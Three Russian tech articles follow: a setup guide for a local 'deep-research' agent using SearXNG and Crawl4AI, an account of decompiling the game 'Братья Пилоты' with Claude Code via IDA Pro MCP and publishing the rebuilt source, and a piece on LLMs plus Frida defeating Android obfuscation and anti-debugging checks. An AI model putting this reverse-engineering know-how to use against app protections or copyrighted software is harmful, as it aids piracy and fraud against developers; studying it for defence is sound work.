Установка и русификация
Для начала развернем сам проект. На компьютере должны быть установлены
Node.js (версии  18+), Git, Docker, а  также запущена локальная LLM
(KoboldCpp, порт 5001). Пока все просто:

git clone https://github.com/dzhng/deep-research.git
cd deep-research
npm install

Поддержку русского языка можно включить, дописав строку в системный зап‐
рос. Для  этого нужно отредактировать файл  (можешь

поменять по желанию):

src/prompt.ts

 - CRITICAL: You MUST generate all search queries, reasoning, and 
final reports entirely in Russian.

Всё, установили, но  есть одно большое но: проект использует сервис
 для поиска информации и очистки найденных страниц от HTML-

мусора. Затык в  том, что сервис платный, но  на данном этапе нам это  не
помешает: при  регистрации нового аккаунта сервис выдаст кредит
на 500 бесплатных запросов, этого вполне достаточно, чтобы убедиться, что
все работает.

firecrawl.dev

Ты можешь пропустить этот шаг или  действительно завести аккаунт
и получить ключ. Тогда укажи его в файле  в корневой папке 

. Заодно задай и параметры для локальной модели. У меня получи‐

лось так:

.env.local deep-
research

# --- FIRECRAWL CONFIG ---
FIRECRAWL_KEY="your-key-here"

# --- LOCAL LLM (Koboldcpp) ---
OPENAI_KEY="sk-local"
OPENAI_ENDPOINT="http://localhost:5001/v1"
CUSTOM_MODEL="koboldcpp"
CONTEXT_SIZE="32000"

Промежуточный этап пройден, можно запускать:

npm start

Теперь можно задать запрос, ответить на уточняющие вопросы модели и пос‐
мотреть, что получится. Должно получиться  — но  это не  то, к  чему мы стре‐
мились.

Убираем зависимость от Firecrawl
Исходный скрипт рассчитан на  платное облако Firecrawl, которое само
по себе продукт с открытым исходным кодом, и — чисто теоретически! — его
можно . Я, однако, не  решился. Это  тяжеловес, явно
не рассчитанный на запуск на локальном компьютере.

установить локально

Мы заменим его связкой локальных опенсорсных инструментов
с  помощью , который подменяет собой платное облако, эму‐

лируя его API на  локальном компьютере. Скрипт  общается

только с одним‑единственным узлом, но сам тянет за собой еще две зависи‐
мости. Разберемся, что и для чего нужно, а нужно три отдельных компонента:
CrawlRouter и две его зависимости — SearXNG и Crawl4AI.

CrawlRouter

deep-research

  — используется в  качестве эмулятора API

Firecrawl и играет роль легковесного моста‑транслятора. Когда скрипт просит
сделать поисковый запрос, CrawlRouter перенаправляет его в  контейнер

 (порт  8080). Когда скрипт просит очистить конкретный URL

от  HTML-мусора, роутер направляет запрос в   (порт  11235).

Получив ответы от  этих инструментов, CrawlRouter упаковывает их данные
обратно в JSON, который и возвращает оркестратору.

CrawlRouter (транслятор)

SearXNG

Crawl4AI

  — поисковый движок с  поддержкой множества

разных поисковых машин. Получает поисковый запрос от  CrawlRouter, опра‐
шивает несколько поисковиков (Google, Bing, DuckDuckGo и  другие), ран‐
жирует ссылки и возвращает список URL-адресов. В нашей схеме он обща‐
ется только с  CrawlRouter. Получает текст запроса  — отдает список ссылок.
(При желании в  файле  можно задать, какие именно движки
можно использовать.)

SearXNG (метапоиск)

settings.yml

  — это  веб‑скрапер (парсер), оптимизированный

специально для  ИИ. Его роль  — очистка контента от  мусора. Языковые
модели плохо переваривают сырой HTML (это бессмысленно транжирит окно
контекста). Когда Crawl4AI получает URL, он загружает страницу и  вырезает
весь мусор: теги, скрипты, трекеры, рекламу, боковые панели и меню навига‐
ции. Он извлекает исключительно саму статью и  форматирует ее в  чистый
Markdown. Общается напрямую с  CrawlRouter. Принимает ссылку на  сайт,
а отдает чистый текстовый документ в идеально подходящем для модели ИИ
виде.

Crawl4AI (скрапер)

Ставим CrawlRouter
Это придется делать в окне WSL. В домашнем каталоге выполни эти команды:

 ~cd
git clone https://github.com/loorisr/crawlrouter.git
cd crawlrouter
rm docker-compose.yaml # Remove duplicate to avoid warnings

Настраиваем SearXNG
Создай директорию и  конфиг‑файл для  активации JSON API (по умолчанию
отключен):

 mkdir -p searxng
nano searxng/settings.yml

Вставь вот такие настройки:

 use_default_settings: true
server:
   port: 8080
   bind_address: "0.0.0.0"
   secret_key: "local-research-secret-key"
   limiter: false
search:
  formats:
     - html
     - json

Мастер-файл Docker Compose
Там же, в папке , создай файл . Мы исполь‐

зуем порт , чтобы избежать конфликтов с зарезервированными портами
Windows:

crawlrouter docker-compose.yml
8282

nano docker-compose.yml

Вставь YAML:

services:
  router:
     build: .
     ports: ["8282:8000"]
    environment:

       - SEARCH_BACKEND=searxng
       - SCRAPE_BACKEND=crawl4ai
       - FIRECRAWL_API_KEY=sk-dummy-key
       - SEARXNG_ENDPOINT=http://searxng:8080
       - CRAWL4AI_ENDPOINT=http://crawl4ai:11235

      depends_on: [searxng, crawl4ai]

  searxng:
     image: docker.io/searxng/searxng:latest
     ports: ["8080:8080"]
     volumes: ["./searxng/settings.yml:/etc/searxng/settings.yml"]

  crawl4ai:
     image: docker.io/unclecode/crawl4ai:basic-amd64
     ports: ["11235:11235"]
     shm_size: '2gb'

Запусти стек контейнеров:

 docker compose up -d --build

Это займет какое‑то время, пока же вернемся в  Windows. Придется про‐
делать еще  небольшую часть работы, чтобы  смог работать

с локальным API эмулятора.

deep-research

Патч deep-research.ts
Официальный SDK Firecrawl внутри Node.js отправляет на  вход CrawlRouter
структуры данных, которые вызывают ошибки Status 500. Чтобы скрипт мог
работать как  с локальным контейнером CrawlRouter, так и  с облаком, нужно
патчить код.

Открой файл  (в папке ). Найди

блок кода с   (в районе  222-й строки) и  замени его сле‐

дующим:

src/deep-research.ts deep-research
firecrawl.search

// --- HYBRID SEARCH PATCH (Cloud + Local Compatible) ---
     

 
const baseUrl = (process.env.FIRECRAWL_BASE_URL || 'https://api.
firecrawl.dev').replace(/\/$/, '');

   const LOCAL_PATTERNS = [
    'localhost', '127.0.0.1', '0.0.0.0',
      '192.168.', '10.', '172.16.', '172.17.', '172.18.',
      '172.19.', '172.20.', '172.21.', '172.22.', '172.23.',
      '172.24.', '172.25.', '172.26.', '172.27.', '172.28.',
    '172.29.', '172.30.', '172.31.',
  'host.docker.internal',
];

     const isLocal = LOCAL_PATTERNS.some(pattern => baseUrl.includes(
pattern));

 let result;
 if (isLocal) {

      const controller = new AbortController();
        const timeoutId = setTimeout(() => controller.abort(), 15000);
   try {
         const rawResponse = await fetch(`${baseUrl}/v1/search`, {

       method: 'POST',
       signal: controller.signal,
       headers: {

           'Authorization': `Bearer ${process.env.FIRECRAWL_KEY || '
sk-dummy-key'}`,

         'Content-Type': 'application/json',
      },

          body: JSON.stringify({ query: serpQuery.query }),
    });
     if (!rawResponse.ok) {

          const errorText = await rawResponse.text();
        throw new Error(`Local search failed — Status: ${rawResponse.

status}, Detail: ${errorText}`);
    }
       result = await rawResponse.json();
    } finally {
    clearTimeout(timeoutId);
  }
  } else {

      result = await firecrawl.search(serpQuery.query, {
     timeout: 15000,
     limit: 5,
        scrapeOptions: { formats: ['markdown'] },
  });
}
// -------------------------------------------------------

Настройка и запуск
В файле  в  корневой папке deep-research теперь должны быть
такие настройки (обрати внимание на  порты: 8282  для  локального
CrawlRouter и 5001 для KoboldCpp):

.env.local

# --- FIRECRAWL CONFIG ---
# Use 127.0.0.1 to force IPv4 on Windows/WSL
FIRECRAWL_BASE_URL="http://127.0.0.1:8282"
FIRECRAWL_KEY="sk-dummy-key"

# --- LOCAL LLM (Koboldcpp) ---
OPENAI_KEY="sk-local"
OPENAI_ENDPOINT="http://localhost:5001/v1"
CUSTOM_MODEL="koboldcpp"
CONTEXT_SIZE="32000"

Если ты все сделал правильно, то все заработает.

npm start

Бонус
В качестве бонуса у  тебя на  компьютере теперь есть сразу три интересных
сервиса, каждый из которых доступен по локальной ссылке (просто открой их
прямо из приложения Docker Desktop):

;• Home — Crawl4AI Documentation
;• SearXNG

.• CrawlRouter UI

Полезен из  этого в  первую очередь SearXNG  — это  локальный метапоиско‐
вик, работающий прямо у  тебя на  компьютере (большой список доступных
онлайновых инстансов — на сайте ).SearXNG instances

ЗАКЛЮЧЕНИЕ

Что мы получили в  итоге? В  первом случае  — Vane, практически Perplexity
на минималках. В режиме Quality наш локальный исследователь вполне спо‐
собен посоревноваться с бесплатной версией Perplexity.

Конечно, с  результатами выдачи платной версии этого сервиса наша
локальная LLM конкурировать не  может: сравнивать Claude Opus и, к  при‐
меру, GLM 4.7 Flash было бы наивно — зато наш вариант не зависит от кап‐
ризов провайдеров ИИ и полностью лишен цензурных ограничений.

Второй развернутый проект, deep-research, еще  интереснее: это  очень
компактный продукт, доступный в исходниках, и объем этих исходников нас‐
только мал, что вполне позволяет подкрутить его так, как нужно именно тебе.
Поле для экспериментов — широчайшее: охват и глубина исследования, раз‐
ные модели‑оркестраторы, а  редактирование системного запроса и  более
глубокие изменения вполне доступны. © X

https://github.com/assafelovic/gpt-researcher
https://www.firecrawl.dev/
https://github.com/firecrawl/firecrawl/blob/main/CONTRIBUTING.md
http://localhost:11235/mkdocs/
http://localhost:8080/
http://localhost:8282/
https://searx.space/
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Что, если нейросеть сможет за  один день
сделать то, на  что у  реверс‑инженера
ушло  бы три месяца кропотливой работы?
Я подключил Claude Code к дизассемблеру
IDA Pro и полностью декомпилировал куль‐
товый квест «Братья Пилоты: По  следам
полосатого слона», получив рабочие
исходники и собираемый билд игры. В этой
статье я покажу ход эксперимента.

« »
«Цивилизация продвигается, расширяя число важных операций,
которые мы можем выполнить, не думая о них», — Альфред Норт Уай‐
тхед.

В качестве подопытного образца я выбрал классический квест. Он не давал
мне покоя с  того момента, как  диск попал на  полки магазинов. В  начале
нулевых я уже умел пользоваться инструментами вроде Resource Hacker
и  знал, что большинство игровых архивов  — это  обычный ZIP с  фиктивным
расширением.

Позже я освоил отладку в  OllyDbg, снимал трассу покрытия, пробовал
шпионить через API Monitor, но и это не помогло добраться до ресурсов игры.
Значительно позже, освоив IDA Pro, я стал шаг за шагом расковыривать пер‐
вые слои движка. Нашел виртуальную машину, разобрался с тем, как работа‐
ет чтение и  распаковка ресурсов, но  полноценного понимания архитектуры
игры у меня так и не сложилось.

ИСТОРИЯ

При попытке открыть игру в  Hex-редакторе я наткнулся на  интересную пас‐
халку. Вместо кода в   висело сообщение 

. Также начало архива с ресурсами игры в овер‐
лее было помечено сигнатурой  — инициалами разработчика.

PE32.DosHeader Run-time engine
[1.47] by Vadim Sytnikov

=VS=
Выпустившая «Братьев Пилотов» студия Gamos была основана

в  1991  году. До  1995-го она выпускала игры для  DOS, после чего перек‐
лючилась на Windows. Ключевой фигурой студии был системный программист
Вадим Сытников  — он разработал собственный язык программирования,
на  котором писались , по  крайней мере я нашел его инициалы
во всех играх для Windows.

все игры

Первая игра по «Пилотам» вышла в 1997 году, вторая часть увидела свет
в  конце  1998-го. К  тому моменту наступил финансовый кризис, так что
в  начале  1999  года компания фактически закрылась, а  большинство сот‐
рудников перешло в стартап Cybiko.

ДЕКОМПИЛЯЦИЯ

Полная декомпиляция игры вручную требовала, по моим оценкам, не менее
трех месяцев работы. Но  я скорее спринтер, чем бегун на  длинные дис‐
танции, мне проще найти оригинальный способ взлома за  два‑три дня
бешеной работы, чем методично день за днем ковыряться в коде. Поэтому я
стал искать альтернативные методы.

Плагин для  «Иды» Gepeto позволял определять, что одна ассемблерная
мешанина является конкретным алгоритмом сжатия, а  другая менеджером
памяти. Но все равно исследование шло очень медленно.

В поисках новых средств автоматизации я наткнулся на  .
Это плагин для IDA Pro, поднимающий MCP-сервер, который позволяет язы‐
ковым моделям управлять декомпилятором.

IDA Pro MCP

INFO

MCP расшифровывается как  model context
protocol. Это  открытый стандарт, созданный
Anthropic. Через него ИИ получает набор инстру‐
ментов, предоставляемых плагином, таких
как  получение списка функций, декомпиляция
в  C-код, переименование переменных, создание
структур, изменение типов переменных и  про‐
тотипов функций.

Нам потребуется аккаунт  (от чата, а не от API). У меня корпоративный
аккаунт с большим лимитом, думаю, что он соответствует тарифу Max. Далее
устанавливаем приложение Claude в  Windows. После чего следуем 

 по установке плагина.

Claude

инструк‐
ции

Перезапустив приложение Claude, включаем в  настройках коннектор IDA
Pro MCP. Запустив плагин в  IDA, дадим возможность приложению Claude
управлять «Идой» через текстовые команды на русском языке. Я рекомендую
для работы модель Opus 4.6.

У «Клода» есть два режима работы  — Chat и  Code. Первый полезен
для быстрых задач, но захлебывается при долгом исполнении команды. Вто‐
рой позволяет дать языковой модели задачу, для которой она самостоятель‐
но составит план и будет выполнять — пока не выполнит или пока не закон‐
чатся токены.

Для чистоты эксперимента я никогда не  исправлял код вручную, только
давал «Клоду» команды, что делать. Опытным путем я «открыл» такой промпт:
«в IDA полностью восстанови sub_40AF64». Я в тот момент работал в режиме
чата, так что просить восстановить все вложенные функции было бессмыс‐
ленно  — предел терпения модели не  позволял исполнять долгоживущие
команды.

Таким же образом я давал команды на восстановление структур, глобаль‐
ных переменных и на назначение им правильных типов. Так или иначе, за три
часа работы я полностью восстановил код всех 546 функций.

ПОЛУЧЕНИЕ БИЛДА ИГРЫ

Результат поражал воображение, но  я решил пойти еще  дальше  — поп‐
робовать собрать из декомпилированного кода рабочий билд игры. Для этого
я сгенерировал в  IDA Pro файлы  и  . Пока что
это была грубая, в принципе непригодная к компиляции версия кода игры. Я
дал Claude в режиме Code такую команду:

PILOTS.EXE.c PILOTS.EXE.h

« »
Исправь исходный код так, чтобы он собирался на MSVC
Нужно, чтобы игра работала, как оригинал
Можешь обращаться к IDA Pro MCP за деталями о структуре файла

Где‑то через пятнадцать минут код собрался, но ожидаемо упал при запуске.
Тогда я попросил добавить отладочные сообщения, по  которым «Клод»
мог бы искать причину ошибки и итеративно исправлять код.

В отличие от браузерных нейросетей, Claude может самостоятельно соз‐
давать файлы и запускать процессы на твоем компьютере. Поэтому я дал ему
команду запускать игру, читать лог и править ошибки, пока падения не прек‐
ратятся.

И это  сработало! Я чуть не  рухнул со  стула, когда игра показала всту‐
пительный ролик. Дальше произошло очередное падение — на этот раз игры.
Почитав лог «размышлений» нейросети, я понял, что ошибка — в глобальных
переменных. Проблема была в выравнивании данных: в оригинале перемен‐
ные шли в памяти друг за другом, но эта особенность потерялась при деком‐
пиляции в C-код. Тогда я попросил объединить все глобальные переменные
в  одну структуру, чтобы она была идентична до  байта структуре в  исполня‐
емом файле. Через полчаса Claude решил задачу, и падения прекратились.

Моему удивлению не было предела, когда я увидел меню игры и даже смог
зайти на  первый уровень. Однако ошибка в  коде виртуальной машины при‐
вела к неожиданному поведению: Шеф самостоятельно звонил в звонок, чем
пробивал в зоопарке стену.

Я попросил модель найти ошибку в реализации исполнителя скриптов, с чем
она справилась. Дальше были очередные падения и  ошибки в  поведении
игры, вроде невозможности перемещения персонажей при  клике и  невер‐
ного разрешения окна игры. Но  все это  Claude исправил в  автоматическом
режиме. Он собирал новый билд, я тестировал игру руками, после чего опи‐
сывал возникающие проблемы. Он добавлял новые логи, читал старые и пра‐
вил код.

Например, я писал: «Игра показывает splash-screen, но  клик по  нему
ничего не  дает, в  оригинале он должен запускать игру». После чего Claude
анализировал исходники в поисках причины.

Раза с пятого решение любой проблемы находилось. Возможно, правиль‐
нее было бы сразу генерировать код через MCP, а не пересобирать исходни‐
ки, экспортированные из  IDA. Все равно «Клод» регулярно обращался
к байт‑коду игры, сравнивая его с ассемблерным кодом, который компилятор
генерировал при сборке билда.

Примерно за сорок запусков я получил полностью рабочий билд игры. Весь
процесс получения исходников занял у меня ровно один рабочий день, если
воскресенье можно называть рабочим днем. Что значительно меньше зап‐
ланированных трех месяцев. Получается, нейросеть ускорила мою работу
в сотню раз! А себестоимость потраченных токенов на моем тарифе не пре‐
вышает двух тысяч рублей.

WWW

•Полученные исходники на GitHub
•Собранный билд игры в моем телеграм‑канале

КАК РАБОТАЕТ ДВИЖОК ИГРЫ

Самая необычная особенность движка Pilots — то, как хранятся ресурсы игры.
Графика, звуки, музыка, шрифты, скрипты поведения — все упаковано внутрь
единственного исполняемого файла PILOTS.EXE. Движок при запуске откры‐
вает сам себя на чтение, переходит к концу файла и находит там служебный
заголовок. Этот заголовок содержит индексную таблицу — по сути, оглавле‐
ние, в котором записано, где начинается каждый ресурс и какой у него иден‐
тификатор. По  номеру ресурса движок вычисляет смещение в  файле,
перематывает к  нужной позиции и  читает данные. Максимум поддерживает‐
ся 254 ресурса — более чем достаточно для игры такого масштаба.

Все крупные блоки данных хранятся в  сжатом виде. Движок использует
алгоритм LZSS — классический метод сжатия тех лет, когда каждый килобайт
был на  счету. При  загрузке ресурс распаковывается на  лету прямо в  опе‐
ративную память. Для  числовых значений применяется еще  и VLQ-кодиро‐
вание (variable-length quantity), когда маленькие числа занимают один байт,
а большие — столько, сколько нужно.

Игровая логика в Pilots не «зашита» в код на C или ассемблере напрямую.
Вместо этого движок содержит полноценную стековую виртуальную машину
с собственным набором команд — около 55 инструкций. Здесь есть и ариф‐
метика, и  сравнения, и  условные переходы, и  вызовы процедур, и  работа
с памятью. По сути, это маленький процессор внутри процессора: у него есть
регистр‑аккумулятор (64-битный, разделенный на  верхнюю и  нижнюю
половины), стек для  промежуточных вычислений и  три адресных пространс‐
тва  — глобальные переменные, переменные текущего объекта и  локальные
переменные.

Скрипты на  этом байт‑коде управляют всем: как  объекты реагируют
на  действия игрока, как  перемещаются персонажи по  полю, какие условия
определяют победу или  поражение. Виртуальная машина также может
вызывать «нативные» функции  — встроенные команды движка, написанные
на C: воспроизведение звуков, работу с графикой, сохранение игры.

Игровое поле построено на тайловой карте — прямоугольной сетке, каж‐
дая ячейка которой описывается двумя байтами: индекс спрайта (какой объ‐
ект здесь стоит) и  набор флагов направления. Поверх карты располагаются
объекты рендеринга — спрайты персонажей, элементы интерфейса, курсор.
Каждый такой объект хранит координаты, ссылку на  графические данные,
флаги отражения и вращения.

Движок перерисовывает не  весь экран каждый кадр, а  только изменив‐
шиеся области — так называемые грязные регионы (dirty regions). Когда объ‐
ект перемещается или меняет внешний вид, движок запоминает прямоуголь‐
ник, который нужно обновить. При отрисовке сначала восстанавливается фон
из  тайловой карты, затем поверх накладываются спрайты с  учетом проз‐
рачности и  возможных отражений по  горизонтали и  вертикали. Результат
выводится на  экран через GDI  — стандартный графический интерфейс
Windows.

Звуковая подсистема работает на  двух уровнях. Звуковые эффекты про‐
игрываются через Windows Wave API — движок открывает устройство вывода,
подготавливает набор буферов и микширует несколько одновременных зву‐
ков программно. Музыка воспроизводится через MIDI  — движок сам раз‐
бирает MIDI-данные, отсчитывает тайминг через системный таймер и отправ‐
ляет события на синтезатор.

Все связывается воедино в  главном цикле: движок считывает из  файла
ресурсов поток опкодов  — команд, управляющих загрузкой, настройкой
и обновлением каждого кадра. Опкоды говорят движку, что делать: загрузить
спрайт в слот, привязать скрипт, установить частоту кадров, захватить снимок
экрана для  перехода между сценами. Между обработкой опкодов движок
обрабатывает сообщения Windows, отслеживает ввод с  клавиатуры и  мыши,
обновляет анимации и вызывает перерисовку изменившихся участков экрана.

Боюсь даже представить объем работы, которую проделал Вадим Сыт‐
ников! Шутка ли  — создать собственный язык программирования и  работа‐
ющий на нем движок игры, который должен летать на восьми мегабайтах опе‐
ративной памяти и  486-м процессоре. Определенно считаю движок игры
произведением искусства, которое должно быть помещено в музей истории
игр. Остается надеяться, что когда‑нибудь настоящие исходники игры вместе
со  всеми скриптами и  инструментами разработчиков будут опубликованы
и доступны каждому желающему.

ЗАКЛЮЧЕНИЕ

Я до сих пор нахожусь в культурном шоке от происходящего. Раньше, чтобы
получить исходный код игры, требовались месяцы упорной работы с неболь‐
шой командой реверсеров. Что же это значит с точки зрения безопасности?
Первыми пострадают приложения, сделавшие ставку на  security through
obscurity. Получить исходный код любого приложения можно будет за  счи‐
таные дни. Выводы делай сам, но ясно одно — будущее уже наступило. © X

https://t.me/grogrigs
https://www.old-games.ru/catalog/?developerCompany=47
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https://t.me/grogrigs/36
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Обфускация кода никогда не была панаце‐
ей. Это всегда был компромисс: разработ‐
чики жертвовали читаемостью и удобством
отладки, атакующие  — временем и  ресур‐
сами. И  до определенного момента этот
компромисс работал. Коммерческие
обфускаторы вроде DexGuard
или  DexProtector действительно могли
задержать опытного реверс‑инженера
на  недели, делая атаку экономически
нецелесообразной для  большинства сце‐
нариев.

Но в  2026  году баланс сил сместился радикально. Связка из  двух тех‐
нологий  — больших языковых моделей (LLM) и  динамической инструмен‐
тации (Frida)  — превратила то, что раньше было искусством для  избранных,
в полуавтоматизированный конвейер. LLM научились «понимать» код, восста‐
навливая семантику даже там, где человек видит лишь 

. Frida дала возможность наблюдать за  поведением приложения
в реальном времени и перехватывать критически важные данные в момент их
появления в памяти.

бессмысленный набор
инструкций

Вместе это  идеальный шторм: статическая защита теряет смысл, потому
что код все равно будет выполнен, а его выполнение может быть проанализи‐
ровано и понято — уже не человеком, а машиной.

ГЕРОИ НОВОЙ ЭПОХИ

Большие языковые модели (LLM)
Когда мы говорим об  использовании ИИ в  реверс‑инжиниринге, речь идет
не о гипотетических сценариях будущего. Уже сегодня существуют специали‐
зированные модели и фреймворки, заточенные именно под анализ и восста‐
новление кода.   — первая и  крупнейшая открытая LLM
для декомпиляции бинарного кода, способная превосходить по качеству вос‐
становления даже GPT и Ghidra.

LLM4Decompile

В Google реализовали   — гибридную систему, объединяющую
возможности Gemini с  детерминированными трансформациями на  уровне
промежуточного представления компилятора,  — для  промышленной деоб‐
фускации JavaScript в  масштабах всего интернета. Появляются фреймворки
вроде , способные выполнять двунаправленный реверс‑инжи‐
ниринг — и декомпиляцию, и обратную компиляцию в рамках единой модели.

CASCADE

LLM4CodeRE

Frida
Этот инструмент динамической инструментации стал де‑факто стандартом
в  арсенале мобильных реверс‑инженеров и  пентестеров по  обе стороны
закона. Frida позволяет внедрять JavaScript-код в  работающий процесс,
перехватывать вызовы любых методов (как Java, так и  нативных), модифи‐
цировать параметры и  возвращаемые значения, обходить антиотладочные
проверки  — и  все это  без необходимости модифицировать бинарный файл
приложения. Это «швейцарский нож», который в связке с LLM превращается
в высокоточный хирургический инструмент.

В следующих разделах мы детально разберем, как  именно эта связка
работает, почему классические методы защиты больше не справляются и что
это  означает для  всей индустрии мобильной разработки и  безопасности.
Но  главный тезис я сформулирую прямо сейчас: 

.

если план защиты

мобильного приложения сводится к  включению обфускатора, то

это не план защиты

КАК МЫ ЖИЛИ РАНЬШЕ

Классическая модель защиты мобильных приложений
Чтобы понять масштаб произошедших изменений, необходимо вернуться
на несколько лет назад и вспомнить, как выглядел ландшафт защиты мобиль‐
ных приложений до того, как в него вошли LLM и продвинутая динамическая
инструментация. Классическая модель защиты, доминировавшая в индустрии
на протяжении почти десятилетия, строилась вокруг одного ключевого прин‐
ципа: сделать код настолько запутанным, чтобы его статический анализ стал
экономически нецелесообразным.

ProGuard и R8: первый рубеж обороны
Для подавляющего большинства Android-разработчиков знакомство
с обфускацией начиналось с   — бесплатного инструмента, который
изначально создавался как  оптимизатор и  минификатор кода, а  не как  пол‐
ноценное средство защиты.

ProGuard

ProGuard (а позднее его наследник R8, интегрированный непосредствен‐
но в  Android Gradle plugin) выполняет четыре последовательные операции:
сжатие (shrink) — удаление неиспользуемого кода; оптимизацию (optimize) —
упрощение и  слияние инструкций; обфускацию (obfuscate)  — переименова‐
ние классов, полей и  методов в  короткие бессмысленные имена; пред‐
варительную верификацию (preverify) — подготовку байт‑кода для исполнения
в Dalvik/ART.

Ключевой нюанс, который часто упускали из  виду, заключался в  том, что
обфускация в  ProGuard «используется только в  целях минификации (не
безопасности)». Это  был «туман», а  не «стена»  — он делал код неудобным
для чтения человеком, но не создавал серьезных препятствий для инструмен‐
тального анализа.

Коммерческие обфускаторы
Это уже появление «тяжелой артиллерии». Осознав ограниченность бесплат‐
ных решений, индустрия начала активно развивать коммерческие протек‐
торы.  компании Guardsquare (созданный Эриком Лафортюном,
автором ProGuard) стал де‑факто стандартом для приложений, где безопас‐
ность действительно имела значение: в  банковском секторе, финтехе, пла‐
тежных системах.

DexGuard

В отличие от ProGuard, DexGuard был нацелен именно для Android-ресур‐
сов и байт‑кода Dalvik, предлагая принципиально иной уровень защиты. Сре‐
ди возможностей DexGuard: обфускация классов, полей и  арифметических
инструкций; виртуализация кода; сокрытие API-вызовов; шифрование строк
и целых классов; а также встроенная RASP-защита. DexProtector (Licel) пред‐
лагал схожий набор функций и позиционировался как решение, «работающее
на более глубоком уровне», чем обычные обфускаторы имен.

Типичные приемы статической защиты
Арсенал техник, применяемых коммерческими обфускаторами, был достаточ‐
но широк:

  — базовый уровень, замена осмысленных
имен ( ) бессмысленными ( ).
ProGuard и R8 справлялись с этой задачей эффективно, но для опытного
реверс‑инженера восстановление семантики по контексту использования
оставалось лишь вопросом времени.

• Переименование символов

UserDatabase.authenticate a.b.c

 — предотвращение извлечения жестко закодирован‐

ных секретов (API-ключей, URL-эндпоинтов) простым просмотром бинар‐
ного файла. Строки хранились в зашифрованном виде и расшифровыва‐
лись непосредственно перед  использованием. «Строковая обфускация
применяется, чтобы сделать строки, встроенные в  код, трудными
для понимания. Если строковая обфускация применена, на экране устрой‐
ства они отображаются как обычно, но внутри DEX-файла их содержимое
трудно распознать».

• Шифрование строк

  — одна

из  наиболее мощных техник. Исходная логическая структура программы
(последовательности инструкций, условные переходы, циклы) трансфор‐
мировалась до  неузнаваемости с  помощью таких методов, как  «упло‐
щение потока управления» (control flow flattening), добавление непрозрач‐
ных предикатов (opaque predicates) и вставка мертвого кода. Исследова‐
тели предлагали схемы, «выходящие за  рамки простых трансформаций
потока управления, применяемых существующими обфускаторами, и зат‐
рудняющие статическому анализу определение фактических потоков
управления приложения».

• Обфускация потока управления (control-flow obfuscation)

  — наиболее радикальный метод, при  котором

исходный байт‑код заменялся инструкциями для специальной виртуальной
машины, встроенной в приложение. DexGuard предлагал эту возможность,
«заменяя код рандомизированным» и комбинируя ее с другими техниками,
такими как сокрытие API-вызовов и шифрование классов.

• Виртуализация кода

 — намеренное исполь‐
зование механизмов рефлексии Java для  вызова методов и  доступа
к полям, что делало граф вызовов непрозрачным для статических анализа‐
торов.

• Злоупотребление рефлексией (reflection abuse)

Многослойный подход
Современные протекторы редко полагались на одну технику. Типичная схема
защиты выглядела как  «двухслойная»: сначала ProGuard или  R8  выполняли
минимизацию и  переименование, затем протектор обфусцировал байт‑код
и  ресурсы, обновляя mapping-файл и  возвращая его в  сборочный процесс.
Это создавало иллюзию надежной, эшелонированной обороны, которая дол‐
гое время действительно работала.

Почему это работало?
На протяжении многих лет эта модель демонстрировала достаточную
эффективность, и тому было несколько причин.

Человеческий фактор
Реверс‑инжиниринг даже средне обфусцированного приложения требовал
огромных временных затрат и высокой квалификации. Инженер, открывавший
декомпилированный код в   (один из  основных инструментов для  пре‐
образования DEX-файлов в  Java-код), видел не  бизнес‑логику, а  бесконеч‐
ные цепочки вызовов методов с именами , , , классы ,  и горы
непонятных инструкций. Ему приходилось часами восстанавливать контекст,
выискивать важные классы, распутывать логику, часто прибегая к  анализу
на уровне Smali — низкоуровневого представления байт‑кода Dalvik, которое
сложнее читать, но  которое «всегда достаточно точное, чтобы можно было
пересобрать приложение обратно».

JADX

a b c a.a.a a.a.b

Этот процесс был изнурительным и  требовал не  только технических
навыков, но и определенного склада ума и качеств — усидчивости, внимания
к деталям, способности удерживать в  голове сложные графы зависимостей.
Профессионалов такого уровня на  рынке было немного, и  их услуги стоили
дорого.

Ограниченность инструментов
Существовавшие на  тот момент автоматизированные средства деобфуска‐
ции (de4dot для  .NET, Simplify для  Android) были эффективны лишь против
шаблонных, широко распространенных техник. Они могли убрать «мусорный»
код, восстановить простые имена, но  были бессильны перед  кастомными,
нестандартными методами защиты. Статические деобфускаторы и  деком‐
пиляторы давали зашумленный, плохо читаемый код; без хорошей доменной
экспертизы в  нем легко можно было утонуть. Как  отмечают исследователи,
«JADX не может декомпилировать 100% кода во всех случаях, поэтому могут
возникать ошибки».

Психологический барьер
Ключевым фактором была экономика атаки. Если на анализ и обход защиты
требовалось несколько недель работы высокооплачиваемого специалиста,
то для  большинства потенциальных злоумышленников игра не  стоила свеч.
Обфускация успешно отсеивала «любителей» и скрипт‑кидди, оставляя поле
лишь для ограниченного числа мотивированных профессионалов. Примене‐
ние различных техник запутывания и  упаковки кода действительно могло
«отбить у  злоумышленников всякое желание атаковать». Индустрия приняла
это как данность: абсолютной защиты не существует, но можно сделать взлом
настолько дорогим, что он станет невыгодным.

Статика против бизнеса
Обфускация никогда не  была самоцелью. Она служила конкретным биз‐
нес‑задачам, и  именно в  этих областях ее ценность ощущалась наиболее
остро.

Защита критичных алгоритмов
В первую очередь защите подлежали:

 — алгоритмы расчета стоимости товаров или услуг на стороне

клиента. Если злоумышленник мог модифицировать логику расчета скидки
или  финальной цены, это  приводило к  прямым финансовым потерям.
Обфускация делала поиск и модификацию таких алгоритмов существенно
более сложной задачей.

• Прайсинг

  — механизмы детектирования подозрительной активности
(например, слишком частые запросы, эмуляция кликов). Эти проверки,
будучи обфусцированными, затрудняли создание ботов и  автоматизиро‐
ванных средств атаки.

• Антифрод

  — логика, определяющая доступность платных или  пре‐
миальных функций. Обфускация усложняла обход ограничений и  несан‐
кционированную активацию платных возможностей.

• Feature gating

Повышение порога входа
Обфускация эффективно выполняла роль фильтра. Она не  останавливала
высококвалифицированных специалистов, но  резко сокращала количество
потенциальных атакующих. Это  особенно важно в  контексте массовых атак,
где злоумышленники ищут наименее защищенные цели. Приложение
с базовой обфускацией могло быть взломано, но злоумышленнику было про‐
ще найти менее защищенный аналог, чем тратить недели на  анализ твоего
продукта.

Эволюция защитных решений
Индустрия не  стояла на  месте. , проанализировавшее
более 500 тысяч APK из Google Play за восьмилетний период, показало устой‐
чивый рост как  распространенности обфускации, так и  разнообразия при‐
меняемых техник. Появлялись новые методы, такие как  AEON (

), позволяющий шифровать сегменты кода и рас‐
шифровывать их непосредственно во время выполнения. Все это создавало
впечатление, что статическая защита эволюционирует и остается актуальной.

Исследование

Android
Encryption based Obfuscation

Первые тревожные звоночки
Тем не  менее уже к  началу  2020-х годов стали заметны признаки надвига‐
